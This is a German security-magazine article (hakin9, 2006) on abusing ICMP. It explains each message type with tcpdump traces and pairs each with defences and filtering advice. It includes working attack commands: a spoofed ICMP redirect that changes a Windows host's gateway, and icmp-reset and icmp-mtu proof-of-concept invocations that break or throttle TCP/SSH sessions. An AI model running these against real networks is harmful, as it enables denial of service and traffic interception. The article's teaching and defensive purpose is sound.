IP-Datagramme sind in Frames gekapselt und die Größe eines Datagramms ist durch das Limit jedes Übertragungsmedium auf die sog. MTU (Maximum Transmission Unit) begrenzt; wenn das Datagramm größer ist als die MTU, wird es aufgespalten. IP-Datagramme können vor dieser Fragmentierung geschützt werden, indem das DF-Flag – Don't Fragment – im IP-Header gesetzt wird. Wenn ein Router ein Paket empfängt, das für das Forward-Netzwerk zu groß ist, teilt er es auf und leitet es weiter; wenn das DF-Bit allerdings gesetzt ist, wird das Paket verworfen und eine ICMP-Nachricht vom Typ 3 (destination unreachable), Code 4 (fragmentation needed but don't-fragment bit set) an den Absender zurück geschickt. Das weist den Absender an, kleinere Pakete zu verschicken, wenn sie am Ziel ankommen sollen. Die MTU des nächsten Sprungs ist in der ICMP-Nachricht angegeben, so dass der Absender den zulässigen Wert kennt.

ICMP echo request/ reply

Mit dem ICMP echo request/reply wird überprüft, ob ein Host zugänglich ist oder nicht. Eine ausbleibende Antwort muss nicht unbedingt bedeuten, dass der Rechner offline ist. Wenn ein Paket beispielsweise an eine VRRP-Gatewayadresse (Virtual Redundancy Routing Protocol – RFC 2338) geschickt

Tabelle 1. ICMP-bezogene RFC-Dokumente RFC 792

Internet Control Message Protocol

RFC 896

Source Quench

RFC 950

Address Mask Extensions

RFC 1122

Requirements for Internet Hosts – Communication Layers

RFC 1191

Path MTU Discovery

RFC 1256

Router Discovery

RFC 1349

Type of Service in the Internet Protocol Suite

RFC 1812

Requirements for IP version 4 Routers

4 Bytes ICMP-Payload (je nach Nachrichttyp)

Abbildung 1. Das ICMP-Nachrichtenformat wird, muss keine Antwort zurück kommen (je nach den VRRP-Einstellungen), sogar wenn das Paket dort angekommen ist. Die ARPTabelle beinhaltet allerdings eine MAC-Adresse, die mit 00-00-5E beginnt und mit dieser IP-Adresse assoziiert ist, was beweist, dass die Nachricht zugestellt worden ist. Das Gateway führt möglicherweise

eine ACL (Access Control List), die ICMP-Verkehr sperrt. Die verwendeten ICMP-Nachrichten sind: • •

echo request (Typ 8) von der Quelle ans Ziel; echo reply (Typ 0) vom Ziel an die Quelle.

Ein Beispiel:

Das SING Tool

Sing steht für Send ICMP Nasty Garbage. Mit ihm kann der Nutzer präparierte ICMP-Pakete aus der Kommandozeile heraus verschicken. Dies wird in diesem Artikel zu Demonstrationszwecken extensiv eingesetzt. Der wichtigste Zweck des Programms ist es, den ping-Befehl zu ersetzen. Es kann IP-gespoofte Pakete verschicken und auslesen, MAC-gespoofte Pakete, Nachrichten von verschiedenartigen ICMP-Typen und Fehlern sowie Monsterpakete verschicken. Es weiß sich auch der IP-Optionen: Strict Source Routing und Loose Source Routing zu bedienen. Das Tool steht unter http://sourceforge.net/projects/sing zum Download bereit. Obwohl es mit ICMP gut umgehen kann, wird es nicht mehr weiterentwickelt, es stellt jedoch genug Funktionalitäten bereit, um Tests für die Zwecke dieses Artikels durchzuführen. Natürlich können x-beliebige Tools zum selben Zweck eingesetzt werden, beispielsweise nemesis-icmp oder das mächtige hping2 – das Konzept bleibt stets dasselbe.

www.hakin9.org

# ping -c 1 -p \ '20006d617363616c

§

7a6f6e6520000000' \ 10.239.174.180

Dies ist ein untypischer Ping, weil ein hexadezimales Muster mit -p eingefügt wurde, das in ASCII-Form mascalzone lautet. Im Standardmodus fügt der Absender beliebige Daten ins Payload ein und die Daten werden unverändert in der Antwort zurück geschickt. Auch der Zähler wird hier auf 1

hakin9 Nr. 2/2006

47

Techniken

Listing 1. Echo request/reply in tcpdump nachverfolgt # tcpdump -ile1 -nvX icmp 10.239.174.230 > 10.239.174.180: icmp: echo request (id:3f03 seq:0)(ttl 255, id 23258, len 84) 0000: 4500 0054 5ada 0000 ff01 ed55 0aef aee E..TZÚ..ÿ.íU.ï®æ 0010: 0aef aeb4 0800 1102 3f03 0000 435c b07a .ï®´....?...C\°z 0020: 000c 7304 2000 6d61 7363 616c 7a6f 6e65 ..s. .mascalzone 0030: 2000 0000 2000 6d61 7363 616c 7a6f 6e65 ... .mascalzone 0040: 2000 0000 2000 6d61 7363 616c 7a6f 6e65 ... .mascalzone 0050: 2000 .

§

§

10.239.174.180 > 10.239.174.230: icmp: echo reply (id:3f03 seq:0) (ttl 128, id 0000: 4500 0054 d593 0000 8001 f19c 0aef 0010: 0aef aee6 0000 1902 3f03 0000 435c 0020: 000c 7304 2000 6d61 7363 616c 7a6f 0030: 2000 0000 2000 6d61 7363 616c 7a6f 0040: 2000 0000 2000 6d61 7363 616c 7a6f 0050: 2000

54675, len 84) aeb4 E..TÕ.....ñ..ï®´ b07a .ï®æ....?...C\°z 6e65 ..s. .mascalzone 6e65 ... .mascalzone 6e65 ... .mascalzone .

Abbildung 2. Das ICMP echo request/reply Nachrichtenformat

gesetzt, damit ein Paket statt der üblichen vier verschickt wird. Der -p -Schalter wird nur in *NIX-Systemen zur Verfügung gestellt, der ping-Befehl unter Windows bietet diese Funktionalität nicht. Listing 1 stellt die tcpdump-Ausgabe für diesen Paketaustausch dar. Beachten Sie, dass ICMP-Header im Byte 20 (von 0 an gezählt) beginnen und dass Byte 9 den Wert 01 (die Protokollnummer von ICMP) enthält. In Abbildung 2 ist das Nachrichtenformat von echo request/reply zu sehen.

Missbrauchsmöglichkeiten

Die häufigste Art und Weise, ICMP echo request/reply zu missbrauchen, ist der Smurf-DoS-Angriff (siehe http://www.cert.org/advisories/CA1998-01.html). Er basiert auf der Tatsache, dass Broadcast-Adressen gepingt werden können. Eine enorme Anzahl von echo request Paketen mit der gespooften IP-Adresse des Opfers wird erzeugt, gerichtet an eine Broadcast-Adresse. Das Ziel ist

Tabelle 2. ICMP-Typen und Codes

48

Typ

Name

Code

0

Echo reply

0 – No code

1

Unassigned

0 – No code

2

Unassigned

0 – No code

3

Destination unreachable

0 – Net unreachable 1 – Host unreachable 2 – Protocol unreachable 3 – Port unreachable 4 – Fragmentation needed and Don't fragment was set 5 – Source route failed 6 – Destination network unknown 7 – Destination host unknown 8 – Source host isolated 9 – Communication with destination network is administratively prohibited 10 –Communication with destination host is administratively prohibited 11 – Destination network unreachable for type of service 12 – Destination host unreachable for type of service 13 – Communication administratively prohibited 14 – Host precedence violation 15 – Precedence cutoff in effect

4

Source quench

0 – No code

5

Redirect

0 – Redirect datagram for the network (or subnet) 1 – Redirect datagram for the host 2 – Redirect datagram for the type of service and network 3 – Redirect datagram for the type of service and host

hakin9 Nr. 2/2006

www.hakin9.org

Missbrauch des ICMP-Protokolls

Tabelle 2. ICMP-Typen und Codes Typ

Name

Code

6

Alternate host address

0 – Alternate address for host

7

Unassigned

0 – No code

8

Echo request

0 – No code

9

Router advertisement

0 – No code

10

Router selection

0 – No code

11

Time exceeded

0 – Time to Live exceeded in transit 1 – Fragment reassembly time exceeded

12

Parameter problem

0 – Pointer indicates the error 1 – Missing a required option 2 – Bad length

13

time stamp

0 – No code

14

time stamp reply

0 – No code

15

Information request

0 – No code

16

Information reply

0 – No code

17

Address mask request

0 – No code

18

Address mask reply

0 – No code

19

Reserved (for security)

0 – No code

20–29

Reserved (for robustness experiment)

0 – No code

30

Traceroute

0 – No code

31

Datagram conversion error

0 – No code

32

Mobile host redirect

0 – No code

33

IPv6 Where-Are-You

0 – No code

34

IPv6 I-Am-Here

0 – No code

35

Mobile registration request

0 – No code

36

Mobile registration reply

0 – No code

39

SKIP

0 – No code

40

Photuris

0 – Reserved 1 – Unknown security parameters index 2 – Valid security parameters, but authentication failed 3 – Valid security parameters, but decryption failed

es, das Netzwerk so zu überlasten, dass der Opferhost offline geht. Der Smurf-Angriff kann ferngesteuert erfolgen. Ein ICMP echo request wird an einen Vermittlerhost (Verstärker) geschickt. Dieses Paket enthält die IP-Adresse des Opfers als gespoofte Quelle und eine Broadcast-Adresse als Ziel. Wenn der Vermittlerknoten nicht geschützt ist, schickt er das Paket an alle Rechner im Netzwerk und diese richten ihre Antworten an den Opferhost.

Ein Opfer kann nicht viel gegen solche Angriffe unternehmen, es ist das Netzwerk selbst, das geschützt werden muss und zwar gegen die Ausnutzung als Vermittler. Daher muss das Forwarding von gerichteten Broadcasts an allen Routerports deaktiviert werden. Das verhindert, das andere (beispielsweise. externe) Netzwerke Anfragen an Broadcast-Adressen im internen Netz richten. Der Mechanismus ist in der RFC 2644 beschrieben. Eine weitere Abwehrschicht ist, alle Hosts im

www.hakin9.org

Netzwerk so einzurichten, dass sie an Broadcast-Adressen gerichtete ICMP-Pakete verwerfen. Wenn alle Knoten im Netz so konfiguriert sind, antwortet keiner auf solche Abfragen und das Opfer wird nicht mit Antworten überflutet. TFN (Tribe Flood Attack, siehe http://staff.washington.edu/dittrich/ misc/tfn.analysis) ist ein bösartiges Tool, mit dem man ICMP echo request und reply missbrauchen kann. Es ist ein DDoS-Angriffswerkzeug, das auf einer vielschichtigen

hakin9 Nr. 2/2006

49

Techniken

P49-06). Um die Verwendung von Loki aufzuspüren, muss man nach intensivem echo reply Verkehr Ausschau halten. ICMP request und reply können einem Angreifer auch zur einfacheren Ersterkundung dienen. Wenn ein Rechner ein ICMP request beantwortet, ist er da und online. Außerdem ermöglicht der TTL-Wert ein einfaches Fingerprinting, weil verschiedene Systeme verschiedene Werte verwenden.

Listing 2. Traceroute-Beispielausgabe # 1 2 3 4 5 6 7 8 9

traceroute -n www.name.com 192.168.1.1 2.174 ms 3.46 ms 6.734 ms 192.168.100.1 164.449 ms 14.893 ms 9.979 ms HOP_3.7.24 7.847 ms 10.716 ms 10.820 ms HOP_4.211.137 10.535 ms 7.250 ms 12.668 ms HOP_5.98.125 10.477 ms 13.546 ms 15.912 ms HOP_6.211.118 8.978 ms 92.593 ms 14.866 ms HOP_7.5.46 13.452 ms 6.291 ms 13.665 ms HOP_8.8.194 14.94 ms 15.156 ms 21.299 ms DEST.128.8 13.907 ms 18.545 ms 14.308 ms

Listing 3. Traceroute-Pakete in tcpdump nachverfolgt # tcpdump -ile1 -nn udp or icmp 1. 192.168.1.3.23469 > 192.168.1.1.53:[udp sum ok] 49680+ A?www.name.com. (30) (ttl 64, id 63871, len 58) 192.168.1.1.53 > 192.168.1.3.23469:49680* 1/2/2 www.name.com.A DEST.128.8 (129) (DF) (ttl 64, id 0, len 157) 2. 192.168.1.3.34790 > DEST.128.8.33435: [no cksum] udp 12 ttl 1] (id 34791, len 40) 192.168.1.1 > 192.168.1.3: icmp: time exceeded in-transit [tos0xc0] (ttl 255, id 14431, len 68) 3. 192.168.1.3.34790 > DEST.128.8.33438: [no cksum] udp 12 ttl 2, id 34794, len 40) 192.168.100.1 > 192.168.1.3: icmp: time exceeded in-transit [tos 0xc0] (ttl 254, id 40091, len 56) 4. 192.168.1.3.34790 > DEST.128.8.33441: [no cksum] udp 12 ttl 3, id 34797, len 40) HOP_3.7.24 > 192.168.1.3: icmp: time exceeded in-transit [tos0xc0] (ttl 253, id 63460, len 56) 5. 192.168.1.3.34790 > DEST.128.8.33444: [no cksum] udp 12 ttl 4, id 34800, len 40) HOP_4.211.137 > 192.168.1.3: icmp: time exceeded in-transit [tos 0xc0] (ttl 246, id 65312, len 168) 6. 192.168.1.3.34790 > DEST.128.8.33447: [no cksum] udp 12 ttl 5, id 34803, len 40) HOP_5.98.125 > 192.168.1.3: icmp: time exceeded in-transit [tos 0xc0] (ttl 247, id 25777, len 168) 7. 192.168.1.3.34790 > DEST.128.8.33450: [no cksum] udp 12 ttl 6, id 34806, len 40) HOP_6.211.118 > 192.168.1.3: icmp: time exceeded in-transit (ttl 250, id 53570, len 168) 8. 192.168.1.3.34790 > DEST.128.8.33453: [no cksum] udp 12 ttl 7, id 34809, len 40) HOP_7.5.46 > 192.168.1.3: icmp: time exceeded in-transit (ttl 248, id 0, len 56) 9. 192.168.1.3.34790 > DEST.128.8.33456: [no cksum] udp 12 ttl 8, id 34812, len 40) HOP_8.8.194 > 192.168.1.3: icmp: time exceeded in-transit (ttl 248, id 0, len 56) 10. 192.168.1.3.34790 > DEST.128.8.33459: [no cksum] udp 12 ttl 9, id 34815, len 40) DEST.128.8 > 192.168.1.3: icmp: DEST.128.8 udp port 33459 unreachable (ttl 120, id 37460, len 68)

§

[ ( ( ( ( ( ( ( (

(Angreifer, Client, Daemon, Opfer) Architektur basiert und mittels ICMP echo reply Nachrichten kommuniziert. Es wird verwendet, weil einige Überwachungstools den ICMP-Verkehr nicht verfolgen, also bleibt er unsichtbar und es ist

50

hakin9 Nr. 2/2006

ICMP time exceeded in transit und UDP port unreachable (traceroute)

§

§ § § §

§

§

§

§

§

§

§ § §

§

Das *NIX-Tool traceroute verrichtet seine Arbeit, indem es zunächst UDP-Pakete mit einer TTL (Time To Live) von 1 aufsteigend ans Ziel schickt. Jeder Router auf diesem Weg muss die TTL in einem IPPaket zumindest um 1 herabsetzen, bevor er es weiter schickt. Wenn das Paket sein Ziel nicht erreicht, wird ein ICMP time exceeded in transit (TTL=0) zurück an die Quelle geschickt. Dann schickt diese ein weiteres Paket mit TTL=2 ab. Das Verfahren wird wiederholt, bis das Paket am Ziel ankommt. Natürlich passiert das nur, wenn alle Knoten unterwegs ICMP-Pakete korrekt erzeugen und UDP-Pakete nicht gefiltert werden. UDP wird statt TCP verwendet, weil es eine ICMPAntwort auslöst, wenn der Host nicht an einem Port lauscht, während TCP ein Paket mit dem RST/ACK-Flag zurückschickt. Die hier relevanten ICMP-Nachrichten sind:

§

§

§

§

schwieriger, den Einsatz von TFN zu erkennen. Das Payload des ICMP-Headers kann auch als heimlicher Kommunikationskanal fungieren. Ein Beispiel dieses Ansatzes ist das Loki-Projekt (http://www.phrack.org/phrack/49/

www.hakin9.org

•

•

Typ 11 Code 0 wenn das Ziel nicht erreicht wird, vom Ziel an die Quelle; Type 3 Code 3 wenn das Ziel erreicht wird, vom Ziel an die Quelle.

In Listing 2 ist eine Beispielsitzung von traceroute aufgezeichnet und in Listing 3 steht die tcpdump-Ausgabe dazu.

Missbrauch des ICMP-Protokolls

Listing 4. Abschicken eines time stamp request mit dem SING Tool # sing -c 1 -tstamp 10.239.174.180 SINGing to 10.239.174.180 (10.239.174.180): 20 data bytes 10240 bytes from 10.239.174.180: seq=0 ttl=128 TOS=0 diff=800917246* --- 10.239.174.180 sing statistics --1 packets transmitted, 1 packets received, 0% packet loss

Listing 5. time stamp request/reply in tcpdump nachverfolgt # tcpdump -ile1 -nvX icmp 10.239.174.230 > 10.239.174.180: icmp: time stamp request (ttl 255, id 13170, len 40) 0000: 4500 0028 3372 0000 ff01 14ea 0aef aee6 E..(3r..ÿ..ê.ï®æ 0010: 0aef aeb4 0d00 b64a eb6c 0000 0244 4f04 .ï®´..¶Jël...DO. 0020: 0000 0000 0000 0000 ........

§

§

10.239.174.180 > 10.239.174.230: icmp: time stamp reply (ttl 128, id 4727, len 40) 0000: 4500 0028 1277 0000 8001 b4e5 0aef aeb4 E..(.w....´å.ï®´ 0010: 0aef aee6 0e00 a542 eb6c 0000 0244 4f04 .ï®æ..¥Bël...DO. 0020: b201 5602 b201 5602 0000 0000 0000 ².V.².V.......

Listing 6. ICMP destination unreachable in tcpdump nachverfolgt # tcpdump –nnx –i le1 icmp 10.173.217.2 > 10.173.217.50: icmp: host 10.173.217.1 unreachable [tos 0xc0] 45c0 0038 0000 0000 1e01 d476 0aad d902 0aad d932 0301 fcfe 0000 0000 4500 0020 3372 0000 ff01 c0dc 0aad d932 0aad d901 1100 478d 5972 4e00

auf 0 herab, verwirft das Paket und schickt eine ICMP time exceeded in transit Nachricht an die Quelle zurück. Im Versuch 3 wird davon ein weiteres UDP-Paket mit TTL=2 erzeugt und diesmal schickt das Endpunkt-Gateway des ISP das ICMP time exceeded in transit. Die Versuche werden in den Punkten 4 bis 9 wiederholt, indem jedes Gateway ein ICMP-Paket zurückschickt, bis im 10. Versuch das Paket mit TTL=9 den Zielhost erreicht. Dieser antwortet mit einer ICMP UDP port unreachable Nachricht.

Missbrauchsmöglichkeiten

Dieser Mechanismus ist zwar ziemlich sicher, kann aber offenbar zur Erkundung eingesetzt werden. Wenn der Zielhost eine UDP port unreachable Nachricht ausgibt ist er aktiv und online. Auch triviales Fingerprinting kann anhand der TTL durchgeführt werden.

ICMP time stamp request/reply

§

ICMP time stamp request/reply Pakete werden zum Messen der Netzwerklatenz verwendet, indem sie sich mit der Round-Trip-Time von Paketen beschäftigen. Die hier relevanten ICMP-Nachrichten sind:

§

192.168.100.1 > 192.168.1.4: icmp: net 10.173.120.29 unreachable 4500 0038 a10e 0000 fe01 3560 c0a8 6401 c0a8 0104 0300 ab3a 0000 0000 4500 0030 a10e 4000 7f06 1643 c0a8 0104 0aad 781d 0674 2516 3264 f3d6

•

•

Abbildung 3. Das ICMP time stamp request/reply Nachrichtenformat Sehen wir uns den Trace näher an. Zuerst bemerken wir, dass die tcpdump-Ausgabe nicht komplett ist – 2 Pakete wurden von jeder Zeile entfernt, damit das Listing besser lesbar ist. Der Host 192.168.1.3

fragt den DNS-Server (am Router) ab und der Name wird (via ISPCache) aufgelöst. DEST.128.8 ist der Zielhost. Die Quelle erstellt ein UDP-Paket mit TTL=1. Der Gateway setzt den TTL-Wert von 1

www.hakin9.org

time stamp request Typ 3 von der Quelle ans Ziel, das den Quellzeitstempel setzt, time stamp reply (Typ 14) vom Ziel an die Quelle, das den Quellzeitstempel (source time), den Empfangszeitstempel (destination time) und den Antwortübermittlung-Zeitstempel (destination time) enthält.

In Listing 4 steht ein Beispiel eines solchen Austauschs, in Abbildung 3 das Nachrichtenformat und in Listing 5 die Ausgabe von tcpdump.

Missbrauchsmöglichkeiten

Das time stamp reply gibt mehr Informationen über die Leistungscharakteristik des Netzwerks preis als man zumindest Benutzern außerhalb des

hakin9 Nr. 2/2006

51

Techniken

Lokalnetzwerks zukommen lassen möchte. Daher besagt die RFC 1122, dass die Unterstützung für ICMP time stamp request und time stamp reply Nachrichten völlig optional ist. Die damit gesammelten Daten können offensichtlich zur Erkundung und zum Fingerprinting anhand der TTL-Werte verwendet werden.

Abbildung 4. Das ICMP redirect Nachrichtenformat

ICMP destination unreachable Mit diesen Nachrichten informieren Router bzw. Firewalls die Absender über unerreichbare Zielhosts bzw. -netze. Möglicherweise gibt es den Zielhost nicht; er kann aber auch nur zeitweise offline sein. Die hier relevanten ICMP-Nachrichten sind: •

Abbildung 5. Die Windows XP SP2 Routingtabelle vor der Umleitung

Listing 7. ICMP redirect in tcpdump nachverfolgt

• •

§

192.168.1.1 > 192.168.1.4: icmp: redirect 0.0.0.0 to host 192.168.1.2 4500 0038 3372 0000 ff01 04fd c0a8 0101 c0a8 0104 0501 b87f c0a8 0102 4500 0038 4a2f 0000 ff06 afe4 c0a8 0104 0000 0000 0064 005a c010 c005

network unreachable (Typ 3 Code 0) vom Router an den Host; host unreachable (Typ 3 Code 1) vom Router an den Host; protocol unreachable (Typ 3 Code 2) vom Router an den Host.

In Listing 6 sieht man eine Beispielausgabe von tcpdump für eine destination unreachable Nachricht.

Missbrauchsmöglichkeiten

Wenn die Router in einem Netzwerk diesen Nachrichtentyp versenden, kann ein Angreifer ohne großen Aufwand den Aufbau des Netzwerks herausfinden.

ICMP redirect

Abbildung 6. Die Windows XP SP2 Routingtabelle nach der Umleitung

Abbildung 7. Das ICMP fragmentation needed and Don't fragment was set Nachrichtenformat

52

hakin9 Nr. 2/2006

www.hakin9.org

Diese Art von Nachrichten dient Routern bzw. Firewalls zum Informieren der Quelle über den bevorzugten Pfad zum vorgegebenen Zielhost. Ein Router schickt das Paket weiter ans Ziel und ein ICMP redirect mit Angabe eines alternativen Gateways an die Quelle; dort wird die Routingtabelle entsprechend modifiziert. Der Router, der das ICMP redirect auslöst, muss sich im selben Subnetz wie die Quelle und wie das neue Gateway befinden. Die hier relevanten ICMP-Nachrichten sind: •

Typ 5 Code 1 vom Router an den Host.

Missbrauch des ICMP-Protokolls

Abbildung 4 stellt das ICMP redirect Nachrichtenformat dar.

Missbrauchsmöglichkeiten

Ein bösartiger Nutzer kann mittels Spoofing die Routingtabelle eines Hosts so modifizieren, dass der Verkehr über einen Man-In-The-MiddleHost (für Sniffingzwecke) oder auf einer Black-Hole-Route erfolgt, so dass die Verbindung abgebrochen wird (DoS). Abbildung 5 zeigt eine Windows XP SP2 Routingtabelle. Beachten Sie das Standardgateway: 192.168.1.1. Ein ICMP redirect kann von einem anderen Rechner stammen, beispielsweise 192.168.1.2: # sing -red -S 192.168.1.1 \ -gw 192.168.1.2 \

Abbildung 8. Das ICMP Address mask request/reply Nachrichtenformat Listing 8. Beispiel eines address mask request/reply # sing -mask 10.173.217.2 10.173.217.50 > 10.173.217.2: icmp: 4500 0020 3372 0000 ff01 c0db 0aad 0aad d902 1100 a38c 1f73 2c00 0000 10.173.217.2 > 10.173.217.50: icmp: 4500 0020 3372 0000 4001 7fdc 0aad 0aad d932 1200 a2cb 1f73 2c00 ffff 0f00 0000 00f4 5800 b0bf 0000 00f4

address mask request d932 0000 address mask is 0xffffffc0 d902 ffc0

-dest 0.0.0.0 -x host \ -prot tcp -psrc 100 \ -pdst 90 192.168.1.4

Grundsätzlich wollen wir ein ICMP echo request mit der ID 100 und der Sequenznummer mit einem ICMP redirect an Stelle des (mit -S gespooften) Routers beantworten, so dass die Routingtabelle am Windows-Rechner (192.168.1.4) den Host 192.168.1.2 als Standardgateway nennt. Listing 7 stellt die tcpdump-Ausgabe und Abbildung 6 die modifizierte Routingtabelle dar. Offensichtlich war der Angriff erfolgreich. Um einen Windows-PC vor dieser Angriffsart zu schützen, müssen wir lediglich im Registryschlüssel: HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\Tcpip\ Parameters EnableICMPRedirect auf 0 stellen.

ICMP fragmentation required ICMP fragmentation needed and Don't fragment was set Nachrichten werden von Routern bzw. Firewalls verwendet, um Absender über die erforderliche Fragmentierung der Pakete zu informieren, wenn das DF-Bit (don't fragment) darin gesetzt ist. Die Fehlermeldung enthält die MTU des Netzwerks, für das eine Segmentierung notwendig ist.

Listing 9. Ein icmp-reset Angriff in tcpdump nachverfolgt # tcpdump -ile1 -nnv icmp and host 192.168.1.4 10.10.228.237 > 192.168.1.4: icmp: 10.10.228.237 protocol 6 unreachable for 192.168.1.4.3763 > 10.10.228.237.80: 3634163930 [|tcp] (ttl 211, id 28211, len 576) (ttl 214, id 31456)

§

§ §

Listing 10. Die Reaktion auf einen icmp-reset Angriff in tcpdump nachverfolgt # tcpdump -ile1 -nn 'tcp[13] & 4 != 0' 192.168.1.4.3763 > 10.10.228.237.80: R 1428640266:1428640266(0) ack 667972724 win 0 (DF)

§

Listing 11. Ein icmp-reset Angriff, der eine Verbindung mit einem PuttyClient abbricht # icmp-reset -c 10.239.7.27:1040-1060 -s 10.239.5.41:22 -t client -r 56 # tcpdump -ile1 -nn host 10.239.5.41 and port 22 10.239.7.27.1049 > 10.239.5.41.22: S [tcp sum ok] 782249187:782249187(0) win 16384 <mss 460,nop,nop,sackOK> (DF) (ttl 127, id 23641, len 48) 10.239.5.41.22 > 10.239.7.27.1049: S [tcp sum ok] 4070582427:4070582427(0) ack 782249188 win 5840 <mss 1460,nop,nop,sackOK> (DF) (ttl 64, id 0, len 48) (...) 10.239.5.41 > 10.239.7.27: icmp: 10.239.5.41 protocol 6 unreachable for 10.239.7.27.1049 > 10.239.5.41.22: 1144805691 [|tcp] (ttl 206, id 57166, len 576) (...) 10.239.5.41 > 10.239.7.27: icmp: 10.239.5.41 protocol 6 unreachable for 10.239.7.27.1049 > 10.239.5.41.22: 1512665611 [|tcp] (ttl 234, id 63018, len 576)

§

§

§

§ §

www.hakin9.org

§

§ §

§ §

hakin9 Nr. 2/2006

53

Techniken

Die hier relevanten ICMP-Nachrichten sind: •

Typ 3 Code 4 vom Filterknoten an die Quelle.

Abbildung 7 stellt das Nachrichtenformat von ICMP fragmentation needed and Don't fragment was set dar.

Missbrauchsmöglichkeiten

Dieser Nachrichtentyp kann zur Erkundung eingesetzt werden, da ein Angreifer den Durchsatz eines Übertragungspfades untersuchen kann, um einen DoS-Angriff zu planen.

ICMP Address mask request/reply Diese Nachrichten dienen zum Auslesen der Adressmaske. Systeme ohne Festplatte mussen beispielsweise Maske beim Hochfahren auslesen. Die hier relevanten ICMP-Nachrichten sind: • •

Typ 17 Code 0 von der Quelle ans Ziel beim mask request; Typ 18 Code 0 vom Ziel an die Quelle beim mask reply.

In Abbildung 8 ist das Format einer ICMP Address mask request/reply Nachricht und in Listing 8 ein Beispiel eines solchen Austauschs zu sehen.

Missbrauchsmöglichkeiten

Auch mit diesem Typ von ICMPNachrichten kann der Absender das Netzwerk erkunden, indem er die Struktur des Subnetzes ohne Weiteres ermitteln kann. Diese Art von ICMP-Paketen ist allerdings veraltet und wird äußerst selten verwendet.

ICMP gegen TCP

Fernando Gont hat sehr interessante Untersuchungen dieser Angriffstypen durchgeführt und im Internet-Draft ICMP attacks against TCP (siehe Kasten Im Internet) beschrieben. Grundsätzlich unterteilen sie sich in:

54

hakin9 Nr. 2/2006

Abbildung 9. Eine mit dem icmp-reset Tool abgebrochene PuttyVerbindung • • •

Blind Connection Reset; Blind Performance Degrading; Blind Throughput Reduction.

die TCP/IP-Implementation unseres Systems auf die Anfälligkeit für solche Angriffe hin überprüfen können.

Blind Connection Reset

Auch Tools für diese Zwecke wurden als proof of concept entwickelt. Sehen wir uns an, wie wir damit

Bei dieser Art von Angriffen wird eine TCP-Verbindung quell- bzw. zielseitig

Listing 12. Ein icmp-mtu Angriff in tcpdump nachverfolgt

§

10.239.5.41:22 > 10.239.7.27.1058: . 20745:22225(1480) ack 0 win 5840 (DF) (ttl 64, id 64416) 10.239.7.27.1058 > 10.239.5.41:22: . [tcp sum ok] ack 48281 win 16384 (DF) (ttl 127, id 34764) 10.239.7.27.1058 > 10.239.5.41:22: . [tcp sum ok] ack 68161 win 16384 (DF) (ttl 127, id 98023) 10.239.5.41:22 > 10.239.7.27.1058: . 22225:23705(1480) ack 0 win 17040 (DF) (ttl 64, id 23658) 10.239.7.27.1058 > 10.239.5.41:22: . [tcp sum ok] ack 69581 win 16384 (DF) (ttl 127, id 65789) 10.239.5.41:22 > 10.239.7.27.1058: . 23705:25185(1480) ack 0 win 5840 (DF) (ttl 64, id 87436) 10.239.7.27.1058 > 10.239.5.41:22: . [tcp sum ok] ack 71001 win 16384 (DF) (ttl 127, id 78413) 10.239.5.41:22 > 10.239.7.27.1058: . 25185:26665(1480) ack 0 win 5840 (DF) (ttl 64, id 98127) 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need to frag (mtu 512) (ttl 234, id 65896) 10.239.5.41:22 > 10.239.7.27.1058: . 83848:84320(472) ack 0 win 5840 (DF) (ttl 64, id 56897) 10.239.5.41:22 > 10.239.7.27.1058: . 84320:84792(472) ack 0 win 5840 (DF) (ttl 64, id 77884) 10.239.5.41:22 > 10.239.7.27.1058: . 84792:85264(472) ack 0 win 5840 (DF) (ttl 64, id 45902) 10.239.5.41:22 > 10.239.7.27.1058: . 85264:85736(472) ack 0 win 5840 (DF) (ttl 64, id 98542) 10.0.0.1 > 192.168.0.1: icmp: 10.0.0.1 unreachable - need to frag (mtu 512) (ttl 234, id 62154) 10.239.5.41:22 > 10.239.7.27.1058: . 81004:81476(472) ack 0 win 5840 (DF) (ttl 64, id 67554) 10.239.5.41:22 > 10.239.7.27.1058: . 81476:81948(472) ack 0 win 5840 (DF) (ttl 64, id 44688) 10.239.5.41:22 > 10.239.7.27.1058: . 81948:82420(472) ack 0 win 5840 (DF) (ttl 64, id 87327) 10.239.5.41:22 > 10.239.7.27.1058: . 82420:82892(472) ack 0 win 5840 (DF) (ttl 64, id 65876)

§ § § § § §

§

§ § § §

§

§ § § § §

www.hakin9.org

Missbrauch des ICMP-Protokolls

Korrekte ICMP-Filterung

Viele Dokumentationen empfehlen, alle ICMP-Pakete zu sperren. Eigentlich kann eine korrekte ICMP-Konfiguration ein effizientes Arbeiten des ganzen Netzwerks gewährleisten, eine korrekte Überwachung der Dienste unterstützen und uns bei der Problembeseitigung helfen. Daher empfiehltes sich: • • •

• •

einen Antispoofingfilter einzurichten und mit der Quelle/dem Ziel der Pakete streng umzugehen; zustandsbehaftete Filterung zu aktivieren; ein- und ausgehende ICMP Unreachable, ICMP Unreachable Need to Fragment (verwendet von Path MTU zum Ermitteln des optimalen MTU-Werts) und ICMP Time Exceeded in Transit (TTL expired in transit bei traceroute unter *NIX und tracert unter Windows; unter *NIX verwendet traceroute auch einen hohen UDP-Port; die Nachricht ist auch wichtig, wenn Routingschleifen vorkommen) durchzulassen; ausgehende ICMP Echo Request von internen Hosts durchzulassen; ICMP-Rateneinschränkung womöglich einzusetzen, um Konsequenzen von ICMP-Flooding zu mindern (eine Technologie namens Committed Access Rate (CAR) ermöglicht diese Art der Filterung).

Alle anderen ICMP-Pakete sollten gesperrt werden.

zurückgesetzt. Der Angreifer braucht nur die IP-Adresse und den Port an einem der beteiligten Hosts zu kennen. Für viele TCP-Verbindungen sind diese Werte gut bekannt, beispielsweise für BGP oder DNSZonenübertragungen. Wenn ein Host eine ICMP-Nachricht vom Typ 3 Code 2, 3 oder 4 empfängt, bricht er die Verbindung sofort ab, weil die TCP-Erholungsfunktion für diese Fehler nach der RFC 1122 als hard error gilt. Eines von Fernandos proof of concept Tools kann mit einem Beispiel dienen: # icmp-reset \ -c 192.168.1.4:3000-4000 \

-s 10.10.189.73:80 \ -t client -r 128

